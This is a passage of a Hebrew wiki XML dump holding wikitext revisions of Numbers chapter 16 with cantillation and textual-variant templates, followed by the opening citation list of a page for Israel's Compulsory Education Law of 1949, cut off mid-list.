&lt;קטע התחלה=סימן/&gt;{{מ:פסוק|במדבר|טז|ל}}&lt;קטע סוף=סימן/&gt;&lt;קטע התחלה=ל/&gt;וְאִם־בְּרִיאָ֞ה יִבְרָ֣א יְהֹוָ֗ה וּפָצְתָ֨ה הָאֲדָמָ֤ה אֶת־פִּ֙יהָ֙ וּבָלְעָ֤ה אֹתָם֙ וְאֶת־כׇּל־אֲשֶׁ֣ר לָהֶ֔ם וְיָרְד֥וּ חַיִּ֖ים שְׁאֹ֑לָה וִֽידַעְתֶּ֕ם כִּ֧י נִֽאֲצ֛וּ הָאֲנָשִׁ֥ים הָאֵ֖לֶּה אֶת־יְהֹוָֽה׃&lt;קטע סוף=ל/&gt;
&lt;קטע התחלה=סימן/&gt;{{מ:פסוק|במדבר|טז|לא}}&lt;קטע סוף=סימן/&gt;&lt;קטע התחלה=לא/&gt;{{נוסח|וַֽיְהִי֙|2==ב,ק3,ו ושיטת-א (געיה){{ש}}ל,ש,ש1=וַיְהִי֙ (אין געיה)}} כְּכַלֹּת֔וֹ לְדַבֵּ֕ר אֵ֥ת כׇּל־הַדְּבָרִ֖ים הָאֵ֑לֶּה וַתִּבָּקַ֥ע הָאֲדָמָ֖ה אֲשֶׁ֥ר תַּחְתֵּיהֶֽם׃&lt;קטע סוף=לא/&gt;
&lt;קטע התחלה=סימן/&gt;{{מ:פסוק|במדבר|טז|לב}}&lt;קטע סוף=סימן/&gt;&lt;קטע התחלה=לב/&gt;וַתִּפְתַּ֤ח הָאָ֙רֶץ֙ אֶת־פִּ֔יהָ וַתִּבְלַ֥ע אֹתָ֖ם וְאֶת־בָּתֵּיהֶ֑ם וְאֵ֤ת כׇּל־הָאָדָם֙ אֲשֶׁ֣ר לְקֹ֔רַח וְאֵ֖ת {{נוסח|כׇּל־הָרְﬞכֽוּשׁ|2==ש,ש1,ק3,ו ובדפוסים{{ש}}ל,ב=כׇּל־הָרֲכֽוּשׁ (חטף){{ש}}הערת ברויאר}}׃&lt;קטע סוף=לב/&gt;
&lt;קטע התחלה=סימן/&gt;{{מ:פסוק|במדבר|טז|לג}}&lt;קטע סוף=סימן/&gt;&lt;קטע התחלה=לג/&gt;וַיֵּ֨רְד֜וּ הֵ֣ם וְכׇל־אֲשֶׁ֥ר לָהֶ֛ם חַיִּ֖ים שְׁאֹ֑לָה וַתְּכַ֤ס עֲלֵיהֶם֙ הָאָ֔רֶץ וַיֹּאבְד֖וּ מִתּ֥וֹךְ הַקָּהָֽל׃&lt;קטע סוף=לג/&gt;
&lt;קטע התחלה=סימן/&gt;{{מ:פסוק|במדבר|טז|לד}}&lt;קטע סוף=סימן/&gt;&lt;קטע התחלה=לד/&gt;וְכׇל־יִשְׂרָאֵ֗ל אֲשֶׁ֛ר סְבִיבֹתֵיהֶ֖ם נָ֣סוּ לְקֹלָ֑ם כִּ֣י אָֽמְר֔וּ פֶּן־תִּבְלָעֵ֖נוּ הָאָֽרֶץ׃&lt;קטע סוף=לד/&gt;
&lt;קטע התחלה=סימן/&gt;{{מ:פסוק|במדבר|טז|לה}}&lt;קטע סוף=סימן/&gt;&lt;קטע התחלה=לה/&gt;וְאֵ֥שׁ יָצְאָ֖ה מֵאֵ֣ת יְהֹוָ֑ה וַתֹּ֗אכַל אֵ֣ת הַחֲמִשִּׁ֤ים וּמָאתַ֙יִם֙ אִ֔ישׁ מַקְרִיבֵ֖י הַקְּטֹֽרֶת׃&lt;קטע סוף=לה/&gt;&lt;קטע סוף=פרק טז/&gt;&lt;noinclude&gt;
{{מ:טעמי המקרא-סוף}}
{{מ:שוליים-סוף}}
==הפרק ללא אותיות הפסוקים==
{{מ:טעמי המקרא}}
{{#בלי קטע:{{שם הדף המלא}}|סימן}}
{{מ:טעמי המקרא-סוף}}&lt;/noinclude&gt;
[[קטגוריה:במדבר טז]]</text>
      <sha1>5drflwcn4vxgv9nskufvvgt494ft25u</sha1>
    </revision>
    <revision>
      <id>3020753</id>
      <parentid>3020751</parentid>
      <timestamp>2026-06-19T09:47:43Z</timestamp>
      <contributor>
        <username>Dovi</username>
        <id>1</id>
      </contributor>
      <minor />
      <origin>3020753</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="15736" sha1="65l9xovv9nfibpvgzqz0tzayvxrb4r7" xml:space="preserve">&lt;noinclude&gt;{{ניווט טעמים|במדבר|טז}}
{{טעמי המקרא באינטרנט}}
{{מ:שוליים|5}}
{{מ:טעמי המקרא}}
&lt;/noinclude&gt;&lt;קטע התחלה=פרק טז/&gt;{{פפ}}
&lt;קטע התחלה=סימן/&gt;{{מ:פסוק|במדבר|טז|א|סדר=טו|עלייה={{מ:עלייה|א=קֹרח|ב0=קֹרח|ב1=ראשון|ב2=כהן}}}}&lt;קטע סוף=סימן/&gt;&lt;קטע התחלה=א/&gt;וַיִּקַּ֣ח קֹ֔רַח בֶּן־יִצְהָ֥ר בֶּן־קְהָ֖ת בֶּן־לֵוִ֑י וְדָתָ֨ן וַאֲבִירָ֜ם בְּנֵ֧י אֱלִיאָ֛ב וְא֥וֹן בֶּן־פֶּ֖לֶת בְּנֵ֥י רְאוּבֵֽן׃&lt;קטע סוף=א/&gt;
&lt;קטע התחלה=סימן/&gt;{{מ:פסוק|במדבר|טז|ב}}&lt;קטע סוף=סימן/&gt;&lt;קטע התחלה=ב/&gt;וַיָּקֻ֙מוּ֙ לִפְנֵ֣י מֹשֶׁ֔ה וַאֲנָשִׁ֥ים מִבְּנֵֽי־יִשְׂרָאֵ֖ל חֲמִשִּׁ֣ים וּמָאתָ֑יִם נְשִׂיאֵ֥י עֵדָ֛ה קְרִאֵ֥י מוֹעֵ֖ד אַנְשֵׁי־שֵֽׁם׃&lt;קטע סוף=ב/&gt;
&lt;קטע התחלה=סימן/&gt;{{מ:פסוק|במדבר|טז|ג}}&lt;קטע סוף=סימן/&gt;&lt;קטע התחלה=ג/&gt;וַיִּֽקָּהֲל֞וּ עַל־מֹשֶׁ֣ה וְעַֽל־אַהֲרֹ֗ן וַיֹּאמְר֣וּ אֲלֵהֶם֮ רַב־לָכֶם֒ כִּ֤י כׇל־הָֽעֵדָה֙ כֻּלָּ֣ם קְדֹשִׁ֔ים וּבְתוֹכָ֖ם יְהֹוָ֑ה וּמַדּ֥וּעַ תִּֽתְנַשְּׂא֖וּ עַל־קְהַ֥ל יְהֹוָֽה׃&lt;קטע סוף=ג/&gt;
&lt;קטע התחלה=סימן/&gt;{{מ:פסוק|במדבר|טז|ד|עלייה={{מ:עלייה|א=[לוי]|ב0=קֹרח|ב2=לוי}}}}&lt;קטע סוף=סימן/&gt;&lt;קטע התחלה=ד/&gt;וַיִּשְׁמַ֣ע מֹשֶׁ֔ה וַיִּפֹּ֖ל עַל־פָּנָֽיו׃&lt;קטע סוף=ד/&gt;
&lt;קטע התחלה=סימן/&gt;{{מ:פסוק|במדבר|טז|ה}}&lt;קטע סוף=סימן/&gt;&lt;קטע התחלה=ה/&gt;וַיְדַבֵּ֨ר אֶל־קֹ֜רַח וְאֶֽל־כׇּל־עֲדָתוֹ֮ לֵאמֹר֒ בֹּ֠קֶר וְיֹדַ֨ע יְהֹוָ֧ה אֶת־אֲשֶׁר־ל֛וֹ וְאֶת־הַקָּד֖וֹשׁ וְהִקְרִ֣יב אֵלָ֑יו וְאֵ֛ת אֲשֶׁ֥ר יִבְחַר־בּ֖וֹ יַקְרִ֥יב אֵלָֽיו׃&lt;קטע סוף=ה/&gt;
&lt;קטע התחלה=סימן/&gt;{{מ:פסוק|במדבר|טז|ו}}&lt;קטע סוף=סימן/&gt;&lt;קטע התחלה=ו/&gt;זֹ֖את עֲשׂ֑וּ קְחוּ־לָכֶ֣ם מַחְתּ֔וֹת קֹ֖רַח וְכׇל־עֲדָתֽוֹ׃&lt;קטע סוף=ו/&gt;
&lt;קטע התחלה=סימן/&gt;{{מ:פסוק|במדבר|טז|ז}}&lt;קטע סוף=סימן/&gt;&lt;קטע התחלה=ז/&gt;וּתְנ֣וּ בָהֵ֣ן{{מ:פסק}}אֵ֡שׁ וְשִׂ֩ימוּ֩ עֲלֵיהֶ֨ן{{מ:פסק}}קְטֹ֜רֶת לִפְנֵ֤י יְהֹוָה֙ מָחָ֔ר וְהָיָ֗ה הָאִ֛ישׁ אֲשֶׁר־יִבְחַ֥ר יְהֹוָ֖ה ה֣וּא הַקָּד֑וֹשׁ רַב־לָכֶ֖ם בְּנֵ֥י לֵוִֽי׃&lt;קטע סוף=ז/&gt;
&lt;קטע התחלה=סימן/&gt;{{מ:פסוק|במדבר|טז|ח|עלייה={{מ:עלייה|א=[ישראל]|ב0=קֹרח|ב2=ישראל}}}}&lt;קטע סוף=סימן/&gt;&lt;קטע התחלה=ח/&gt;וַיֹּ֥אמֶר מֹשֶׁ֖ה אֶל־קֹ֑רַח שִׁמְעוּ־נָ֖א בְּנֵ֥י לֵוִֽי׃&lt;קטע סוף=ח/&gt;
&lt;קטע התחלה=סימן/&gt;{{מ:פסוק|במדבר|טז|ט}}&lt;קטע סוף=סימן/&gt;&lt;קטע התחלה=ט/&gt;{{נוסח|הַמְעַ֣ט|2==א(ס),ל,ב,ש,ש1,ק3,ו &lt;הֽמעט? אין מתג בה&quot;א וגם בשני [פס' י&quot;ג]&gt;{{ש}}דפוסים וקורן=הַֽמְעַ֣ט (בגעיה)}} מִכֶּ֗ם כִּֽי־הִבְדִּיל֩ אֱלֹהֵ֨י יִשְׂרָאֵ֤ל אֶתְכֶם֙ מֵעֲדַ֣ת יִשְׂרָאֵ֔ל לְהַקְרִ֥יב אֶתְכֶ֖ם אֵלָ֑יו לַעֲבֹ֗ד אֶת־עֲבֹדַת֙ מִשְׁכַּ֣ן יְהֹוָ֔ה וְלַעֲמֹ֛ד לִפְנֵ֥י הָעֵדָ֖ה לְשָׁרְתָֽם׃&lt;קטע סוף=ט/&gt;
&lt;קטע התחלה=סימן/&gt;{{מ:פסוק|במדבר|טז|י}}&lt;קטע סוף=סימן/&gt;&lt;קטע התחלה=י/&gt;וַיַּקְרֵב֙ אֹֽתְךָ֔ וְאֶת־כׇּל־אַחֶ֥יךָ בְנֵי־לֵוִ֖י אִתָּ֑ךְ וּבִקַּשְׁתֶּ֖ם גַּם־כְּהֻנָּֽה׃&lt;קטע סוף=י/&gt;
&lt;קטע התחלה=סימן/&gt;{{מ:פסוק|במדבר|טז|יא}}&lt;קטע סוף=סימן/&gt;&lt;קטע התחלה=יא/&gt;לָכֵ֗ן אַתָּה֙ וְכׇל־עֲדָ֣תְךָ֔ הַנֹּעָדִ֖ים עַל־יְהֹוָ֑ה וְאַהֲרֹ֣ן מַה־ה֔וּא כִּ֥י {{כו&quot;ק|תלונו|תַלִּ֖ינוּ}} עָלָֽיו׃&lt;קטע סוף=יא/&gt;
&lt;קטע התחלה=סימן/&gt;{{מ:פסוק|במדבר|טז|יב}}&lt;קטע סוף=סימן/&gt;&lt;קטע התחלה=יב/&gt;וַיִּשְׁלַ֣ח מֹשֶׁ֔ה לִקְרֹ֛א לְדָתָ֥ן וְלַאֲבִירָ֖ם בְּנֵ֣י אֱלִיאָ֑ב וַיֹּאמְר֖וּ לֹ֥א נַעֲלֶֽה׃&lt;קטע סוף=יב/&gt;
&lt;קטע התחלה=סימן/&gt;{{מ:פסוק|במדבר|טז|יג}}&lt;קטע סוף=סימן/&gt;&lt;קטע התחלה=יג/&gt;{{נוסח|הַמְעַ֗ט|2==א(ס),ל,ב,ש,ש1,ק3,ו &lt;הֽמעט? אין מתג בה&quot;א [פס' ט] וגם בשני [כאן]&gt;{{ש}}דפוסים וקורן=הַֽמְעַ֗ט}} כִּ֤י הֶֽעֱלִיתָ֙נוּ֙ מֵאֶ֨רֶץ זָבַ֤ת חָלָב֙ וּדְבַ֔שׁ לַהֲמִיתֵ֖נוּ בַּמִּדְבָּ֑ר כִּֽי־תִשְׂתָּרֵ֥ר עָלֵ֖ינוּ גַּם־הִשְׂתָּרֵֽר׃&lt;קטע סוף=יג/&gt;
&lt;קטע התחלה=סימן/&gt;{{מ:פסוק|במדבר|טז|יד|עלייה={{מ:עלייה|א=שני|ב0=קֹרח|ב1=שני|ב2=ע&quot;כ ישראל}}}}&lt;קטע סוף=סימן/&gt;&lt;קטע התחלה=יד/&gt;אַ֡ף לֹ֣א אֶל־אֶ֩רֶץ֩ זָבַ֨ת חָלָ֤ב וּדְבַשׁ֙ הֲבִ֣יאֹתָ֔נוּ וַתִּ֨תֶּן־לָ֔נוּ נַחֲלַ֖ת שָׂדֶ֣ה וָכָ֑רֶם הַעֵינֵ֞י הָאֲנָשִׁ֥ים הָהֵ֛ם תְּנַקֵּ֖ר לֹ֥א נַעֲלֶֽה׃&lt;קטע סוף=יד/&gt;
&lt;קטע התחלה=סימן/&gt;{{מ:פסוק|במדבר|טז|טו}}&lt;קטע סוף=סימן/&gt;&lt;קטע התחלה=טו/&gt;וַיִּ֤חַר לְמֹשֶׁה֙ מְאֹ֔ד וַיֹּ֙אמֶר֙ אֶל־יְהֹוָ֔ה אַל־תֵּ֖פֶן אֶל־מִנְחָתָ֑ם לֹ֠א חֲמ֨וֹר אֶחָ֤ד מֵהֶם֙ נָשָׂ֔אתִי וְלֹ֥א הֲרֵעֹ֖תִי אֶת־אַחַ֥ד מֵהֶֽם׃&lt;קטע סוף=טו/&gt;
&lt;קטע התחלה=סימן/&gt;{{מ:פסוק|במדבר|טז|טז}}&lt;קטע סוף=סימן/&gt;&lt;קטע התחלה=טז/&gt;וַיֹּ֤אמֶר מֹשֶׁה֙ אֶל־קֹ֔רַח אַתָּה֙ וְכׇל־עֲדָ֣תְךָ֔ הֱי֖וּ לִפְנֵ֣י יְהֹוָ֑ה אַתָּ֥ה וָהֵ֛ם וְאַהֲרֹ֖ן מָחָֽר׃&lt;קטע סוף=טז/&gt;
&lt;קטע התחלה=סימן/&gt;{{מ:פסוק|במדבר|טז|יז}}&lt;קטע סוף=סימן/&gt;&lt;קטע התחלה=יז/&gt;וּקְח֣וּ{{מ:לגרמיה-2}} אִ֣ישׁ מַחְתָּת֗וֹ וּנְתַתֶּ֤ם עֲלֵיהֶם֙ קְטֹ֔רֶת וְהִקְרַבְתֶּ֞ם לִפְנֵ֤י יְהֹוָה֙ אִ֣ישׁ מַחְתָּת֔וֹ חֲמִשִּׁ֥ים וּמָאתַ֖יִם מַחְתֹּ֑ת וְאַתָּ֥ה וְאַהֲרֹ֖ן אִ֥ישׁ מַחְתָּתֽוֹ׃&lt;קטע סוף=יז/&gt;
&lt;קטע התחלה=סימן/&gt;{{מ:פסוק|במדבר|טז|יח}}&lt;קטע סוף=סימן/&gt;&lt;קטע התחלה=יח/&gt;וַיִּקְח֞וּ אִ֣ישׁ מַחְתָּת֗וֹ וַיִּתְּנ֤וּ עֲלֵיהֶם֙ אֵ֔שׁ וַיָּשִׂ֥ימוּ עֲלֵיהֶ֖ם קְטֹ֑רֶת {{נוסח|וַיַּֽעַמְד֗וּ|2==ל?,ק3 (געיה קלה באות יו&quot;ד), וכך אצל דותן וברויאר.{{ש}}ב,ש,ש1,ו,ט3=וַיַּעַמְד֗וּ (אין געיה), וכך אצל מג&quot;ה.{{ש}}ל?!=וַֽיַּעַמְד֗וּ (געיה כבדה באות וי&quot;ו?); הקו של הגעיה נכתב בין האותיות וי&quot;ו ויו&quot;ד. מבנה התיבה לא מתאים לגעיה כבדה סדירה, ולפי ברויאר ודותן מדובר על געיה קלה באות יו&quot;ד. אך לפי BHS והמקליד הגעיה שייכת לאות וי&quot;ו.}} פֶּ֛תַח אֹ֥הֶל מוֹעֵ֖ד וּמֹשֶׁ֥ה וְאַהֲרֹֽן׃&lt;קטע סוף=יח/&gt;
&lt;קטע התחלה=סימן/&gt;{{מ:פסוק|במדבר|טז|יט}}&lt;קטע סוף=סימן/&gt;&lt;קטע התחלה=יט/&gt;וַיַּקְהֵ֨ל עֲלֵיהֶ֥ם קֹ֙רַח֙ אֶת־כׇּל־הָ֣עֵדָ֔ה אֶל־פֶּ֖תַח אֹ֣הֶל מוֹעֵ֑ד וַיֵּרָ֥א כְבוֹד־יְהֹוָ֖ה אֶל־כׇּל־הָעֵדָֽה׃&lt;קטע סוף=יט/&gt;
{{נוסח|{{סס}}|2=ל=פרשה פתוחה}}&lt;קטע התחלה=סימן/&gt;{{מ:פסוק|במדבר|טז|כ|עלייה={{מ:עלייה|א=שלישי|ב0=קֹרח|ב1=שלישי}}}}&lt;קטע סוף=סימן/&gt;&lt;קטע התחלה=כ/&gt;וַיְדַבֵּ֣ר יְהֹוָ֔ה אֶל־מֹשֶׁ֥ה וְאֶֽל־אַהֲרֹ֖ן לֵאמֹֽר׃&lt;קטע סוף=כ/&gt;
&lt;קטע התחלה=סימן/&gt;{{מ:פסוק|במדבר|טז|כא}}&lt;קטע סוף=סימן/&gt;&lt;קטע התחלה=כא/&gt;הִבָּ֣דְל֔וּ מִתּ֖וֹךְ הָעֵדָ֣ה הַזֹּ֑את {{נוסח|וַאֲכַלֶּ֥ה|2==ב,ש,ש1,ק3,ו ובדפוסים{{ש}}ל!=וַאַכַלֶּ֥ה (חסרות נקודות החטף באות אל&quot;ף){{ש}}הערות ברויאר ודותן והמקליד}} אֹתָ֖ם כְּרָֽגַע׃&lt;קטע סוף=כא/&gt;
&lt;קטע התחלה=סימן/&gt;{{מ:פסוק|במדבר|טז|כב}}&lt;קטע סוף=סימן/&gt;&lt;קטע התחלה=כב/&gt;וַיִּפְּל֤וּ עַל־פְּנֵיהֶם֙ וַיֹּ֣אמְר֔וּ אֵ֕ל אֱלֹהֵ֥י הָרוּחֹ֖ת לְכׇל־בָּשָׂ֑ר הָאִ֤ישׁ אֶחָד֙ יֶחֱטָ֔א וְעַ֥ל כׇּל־הָעֵדָ֖ה תִּקְצֹֽף׃&lt;קטע סוף=כב/&gt;
{{נוסח|{{סס}}|2=ל=פרשה פתוחה}}&lt;קטע התחלה=סימן/&gt;{{מ:פסוק|במדבר|טז|כג}}&lt;קטע סוף=סימן/&gt;&lt;קטע התחלה=כג/&gt;וַיְדַבֵּ֥ר יְהֹוָ֖ה אֶל־מֹשֶׁ֥ה לֵּאמֹֽר׃&lt;קטע סוף=כג/&gt;
&lt;קטע התחלה=סימן/&gt;{{מ:פסוק|במדבר|טז|כד}}&lt;קטע סוף=סימן/&gt;&lt;קטע התחלה=כד/&gt;דַּבֵּ֥ר אֶל־הָעֵדָ֖ה לֵאמֹ֑ר הֵֽעָלוּ֙ מִסָּבִ֔יב לְמִשְׁכַּן־קֹ֖רַח דָּתָ֥ן וַאֲבִירָֽם׃&lt;קטע סוף=כד/&gt;
&lt;קטע התחלה=סימן/&gt;{{מ:פסוק|במדבר|טז|כה}}&lt;קטע סוף=סימן/&gt;&lt;קטע התחלה=כה/&gt;וַיָּ֣קׇם מֹשֶׁ֔ה וַיֵּ֖לֶךְ אֶל־דָּתָ֣ן וַאֲבִירָ֑ם וַיֵּלְכ֥וּ אַחֲרָ֖יו זִקְנֵ֥י יִשְׂרָאֵֽל׃&lt;קטע סוף=כה/&gt;
&lt;קטע התחלה=סימן/&gt;{{מ:פסוק|במדבר|טז|כו}}&lt;קטע סוף=סימן/&gt;&lt;קטע התחלה=כו/&gt;וַיְדַבֵּ֨ר אֶל־הָעֵדָ֜ה לֵאמֹ֗ר ס֣וּרוּ נָ֡א מֵעַל֩ {{מ:קמץ|ד=אׇהֳלֵ֨י|ס=אָהֳלֵ֨י}} הָאֲנָשִׁ֤ים הָֽרְשָׁעִים֙ הָאֵ֔לֶּה וְאַֽל־תִּגְּע֖וּ בְּכׇל־אֲשֶׁ֣ר לָהֶ֑ם פֶּן־תִּסָּפ֖וּ בְּכׇל־חַטֹּאתָֽם׃&lt;קטע סוף=כו/&gt;
&lt;קטע התחלה=סימן/&gt;{{מ:פסוק|במדבר|טז|כז}}&lt;קטע סוף=סימן/&gt;&lt;קטע התחלה=כז/&gt;וַיֵּעָל֗וּ מֵעַ֧ל {{נוסח|מִשְׁכַּן־קֹ֛רַח|2==ב,ש,ש1,ק3,ו ובדפוסים{{ש}}ל!=מִשְׁכַּן־קֹ֛רֶח (סגול באות רי&quot;ש){{ש}}הערות ברויאר ודותן והמקליד}} דָּתָ֥ן וַאֲבִירָ֖ם מִסָּבִ֑יב וְדָתָ֨ן וַאֲבִירָ֜ם יָצְא֣וּ נִצָּבִ֗ים פֶּ֚תַח {{נוסח|{{מ:קמץ|ד=אׇֽהֳלֵיהֶ֔ם|ס=אָֽהֳלֵיהֶ֔ם}}|2=ל=אָֽהֳלֵיהֶ֔ם בגעיה ימנית}} וּנְשֵׁיהֶ֥ם וּבְנֵיהֶ֖ם וְטַפָּֽם׃&lt;קטע סוף=כז/&gt;
&lt;קטע התחלה=סימן/&gt;{{מ:פסוק|במדבר|טז|כח}}&lt;קטע סוף=סימן/&gt;&lt;קטע התחלה=כח/&gt;וַיֹּ֘אמֶר֮ מֹשֶׁה֒ בְּזֹאת֙ תֵּֽדְע֔וּן כִּֽי־יְהֹוָ֣ה שְׁלָחַ֔נִי לַעֲשׂ֕וֹת אֵ֥ת כׇּל־הַֽמַּעֲשִׂ֖ים הָאֵ֑לֶּה כִּי־לֹ֖א מִלִּבִּֽי׃&lt;קטע סוף=כח/&gt;
&lt;קטע התחלה=סימן/&gt;{{מ:פסוק|במדבר|טז|כט}}&lt;קטע סוף=סימן/&gt;&lt;קטע התחלה=כט/&gt;אִם־כְּמ֤וֹת כׇּל־הָֽאָדָם֙ יְמֻת֣וּן אֵ֔לֶּה וּפְקֻדַּת֙ כׇּל־הָ֣אָדָ֔ם יִפָּקֵ֖ד עֲלֵיהֶ֑ם לֹ֥א יְהֹוָ֖ה שְׁלָחָֽנִי׃&lt;קטע סוף=כט/&gt;
&lt;קטע התחלה=סימן/&gt;{{מ:פסוק|במדבר|טז|ל}}&lt;קטע סוף=סימן/&gt;&lt;קטע התחלה=ל/&gt;וְאִם־בְּרִיאָ֞ה יִבְרָ֣א יְהֹוָ֗ה וּפָצְתָ֨ה הָאֲדָמָ֤ה אֶת־פִּ֙יהָ֙ וּבָלְעָ֤ה אֹתָם֙ וְאֶת־כׇּל־אֲשֶׁ֣ר לָהֶ֔ם וְיָרְד֥וּ חַיִּ֖ים שְׁאֹ֑לָה וִֽידַעְתֶּ֕ם כִּ֧י נִֽאֲצ֛וּ הָאֲנָשִׁ֥ים הָאֵ֖לֶּה אֶת־יְהֹוָֽה׃&lt;קטע סוף=ל/&gt;
&lt;קטע התחלה=סימן/&gt;{{מ:פסוק|במדבר|טז|לא}}&lt;קטע סוף=סימן/&gt;&lt;קטע התחלה=לא/&gt;{{נוסח|וַֽיְהִי֙|2==ב,ק3,ו ושיטת-א (געיה){{ש}}ל,ש,ש1=וַיְהִי֙ (אין געיה)}} כְּכַלֹּת֔וֹ לְדַבֵּ֕ר אֵ֥ת כׇּל־הַדְּבָרִ֖ים הָאֵ֑לֶּה וַתִּבָּקַ֥ע הָאֲדָמָ֖ה אֲשֶׁ֥ר תַּחְתֵּיהֶֽם׃&lt;קטע סוף=לא/&gt;
&lt;קטע התחלה=סימן/&gt;{{מ:פסוק|במדבר|טז|לב}}&lt;קטע סוף=סימן/&gt;&lt;קטע התחלה=לב/&gt;וַתִּפְתַּ֤ח הָאָ֙רֶץ֙ אֶת־פִּ֔יהָ וַתִּבְלַ֥ע אֹתָ֖ם וְאֶת־בָּתֵּיהֶ֑ם וְאֵ֤ת כׇּל־הָאָדָם֙ אֲשֶׁ֣ר לְקֹ֔רַח וְאֵ֖ת {{נוסח|כׇּל־הָרְﬞכֽוּשׁ|2==ש,ש1,ק3,ו ובדפוסים{{ש}}ל,ב=כׇּל־הָרֲכֽוּשׁ (חטף){{ש}}הערת ברויאר}}׃&lt;קטע סוף=לב/&gt;
&lt;קטע התחלה=סימן/&gt;{{מ:פסוק|במדבר|טז|לג}}&lt;קטע סוף=סימן/&gt;&lt;קטע התחלה=לג/&gt;וַיֵּ֨רְד֜וּ הֵ֣ם וְכׇל־אֲשֶׁ֥ר לָהֶ֛ם חַיִּ֖ים שְׁאֹ֑לָה וַתְּכַ֤ס עֲלֵיהֶם֙ הָאָ֔רֶץ וַיֹּאבְד֖וּ מִתּ֥וֹךְ הַקָּהָֽל׃&lt;קטע סוף=לג/&gt;
&lt;קטע התחלה=סימן/&gt;{{מ:פסוק|במדבר|טז|לד}}&lt;קטע סוף=סימן/&gt;&lt;קטע התחלה=לד/&gt;וְכׇל־יִשְׂרָאֵ֗ל אֲשֶׁ֛ר סְבִיבֹתֵיהֶ֖ם נָ֣סוּ לְקֹלָ֑ם כִּ֣י אָֽמְר֔וּ פֶּן־תִּבְלָעֵ֖נוּ הָאָֽרֶץ׃&lt;קטע סוף=לד/&gt;
&lt;קטע התחלה=סימן/&gt;{{מ:פסוק|במדבר|טז|לה}}&lt;קטע סוף=סימן/&gt;&lt;קטע התחלה=לה/&gt;וְאֵ֥שׁ יָצְאָ֖ה מֵאֵ֣ת יְהֹוָ֑ה וַתֹּ֗אכַל אֵ֣ת הַחֲמִשִּׁ֤ים וּמָאתַ֙יִם֙ אִ֔ישׁ מַקְרִיבֵ֖י הַקְּטֹֽרֶת׃&lt;קטע סוף=לה/&gt;&lt;קטע סוף=פרק טז/&gt;&lt;noinclude&gt;
{{מ:טעמי המקרא-סוף}}
{{מ:שוליים-סוף}}
==הפרק ללא אותיות הפסוקים==
{{מ:טעמי המקרא}}
{{#בלי קטע:{{שם הדף המלא}}|סימן}}
{{מ:טעמי המקרא-סוף}}&lt;/noinclude&gt;
[[קטגוריה:במדבר טז]]</text>
      <sha1>65l9xovv9nfibpvgzqz0tzayvxrb4r7</sha1>
    </revision>
  </page>
  <page>
    <title>מקור:חוק לימוד חובה</title>
    <ns>116</ns>
    <id>246944</id>
    <revision>
      <id>3020664</id>
      <parentid>3005432</parentid>
      <timestamp>2026-06-18T16:43:54Z</timestamp>
      <contributor>
        <username>Fuzzy</username>
        <id>29</id>
      </contributor>
      <minor />
      <origin>3020664</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="49315" sha1="n88yfjllnjjnjvctpu39jtrsolw2sx5" xml:space="preserve">&lt;שם&gt; חוק לימוד חובה, תש&quot;ט-1949

&lt;מאגר 2000752 תיקון 2007976 תקן 314513 קוד a163Y00000DuI1hQAF&gt;

&lt;מקור&gt;
((ס&quot;ח תש&quot;ט, 287|חוק לימוד חובה|1:203716)); ((תש&quot;י, 126|תיקון|1:208481)), ((314|תיקון מס' 2|1:208482)); ((תשי&quot;ג, 106|הוראת שעה|2:208483)), ((140|חוק חינוך ממלכתי|2:208355)); ((תשי&quot;ד, 2|הוראות שעה|2:208484)), ((178|הוראות שעה (תיקון)|2:203724)), ((VIII|ת&quot;ט|ec:2:517958)); ((תשכ&quot;ט, 33|תיקון מס' 4|6:208485)), ((176|תיקון מס' 5|6:208486)), ((178|תיקון מס' 6|6:208487)); ((תשל&quot;א, 146|הוראת שעה|7:208488)); ((תשל&quot;ב, 102|תיקון מס' 8|7:208489)), ((122|תיקון מס' 9|7:208490)); ((תשל&quot;ו, 99|תיקון מס' 10|8:208491)); ((תשל&quot;ח, 128|תיקון מס' 11|9:211857)), ((144|תיקון מס' 12|9:208492)), ((146|תיקון מס' 13|9:208493)); ((תש&quot;ם, 162|תיקון מס' 14|9:208494)), ((162|תיקון מס' 11 (תיקון)|9:210205)); ((תשמ&quot;א, 65|תיקון מס' 15|9:208495)); ((תשמ&quot;ב, 273|תיקון מס' 11 (תיקון מס' 2)|10:208496)); ((תשמ&quot;ד, 160|תיקון מס' 16|10:210217)); ((תשמ&quot;ה, 7|תיקון מס' 11 (תיקון מס' 3)|11:210239)), ((57|תיקון מס' 11 (תיקון מס' 4)|11:210408)), ((112|תיקון מס' 16 (תיקון)|11:210414)), ((164|תיקון מס' 11 (תיקון מס' 5)|11:210446)); ((תשמ&quot;ו, 245|תיקון מס' 11 (תיקון מס' 6)|11:210519)); ((תשמ&quot;ז, 105|חוק יציבות המשק (הוראות שונות)|11:210573)); ((תשמ&quot;ח, 72|חוק הסדרים במשק המדינה (תיקוני חקיקה להשגת יעדי התקציב)|11:210660)), ((118|חוק חינוך מיוחד|11:211803)); ((תש&quot;ן, 134|חוק הסדרים במשק המדינה (תיקוני חקיקה)|12:210812)); ((תשנ&quot;א, 156|תיקון מס' 18|12:210847)); ((תשנ&quot;ב, 41|לחוק הסדרים במשק המדינה (תיקוני חקיקה) (מס' 2)|12:211668)), ((79|תיקון מס' 19|12:210874)); ((תשנ&quot;ד, 50|חוק הסדרים במשק המדינה (תיקוני חקיקה להשגת יעדי התקציב)|13:211692)), ((244|תיקון מס' 20|13:211134)), ((245|תיקון מס' 21|13:203771)); ((תשנ&quot;ו, 163|חוק העובדים הסוציאליים|13:211734)); ((תשנ&quot;ח, 92|חוק להגברת הצמיחה והתעסוקה ולהשגת יעדי התקציב לשנת הכספים 1998 (תיקוני חקיקה)|14:211461)); ((תשנ&quot;ט, 65|תיקון מס' 16 (תיקון מס' 7)|14:211599)); ((תשס&quot;א, 42|חוק זכויות התלמיד|15:300380)), ((401|ת&quot;ט|1792)), ((517|תיקון מס' 23|15:300406)); ((תשס&quot;ב, 475|תיקון מס' 25|15:300516)); ((תשס&quot;ד, 313|תיקון מס' 26|16:299829)), ((425|תיקון לחוק העובדים הסוציאליים|16:299841)); ((תשס&quot;ו, 127|תיקון מס' 27|16:299932)); ((תשס&quot;ז, 387|תיקון מס' 28|17:300633)), ((392|תיקון מס' 29|17:300101)); ((תשס&quot;ח, 121|חוק ההסדרים במשק המדינה (תיקוני חקיקה להשגת יעדי התקציב והמדיניות הכלכלית לשנת הכספים 2008)|17:300816)), ((200|תיקון מס' 2 לחוק הרשויות המקומיות (ייעוד 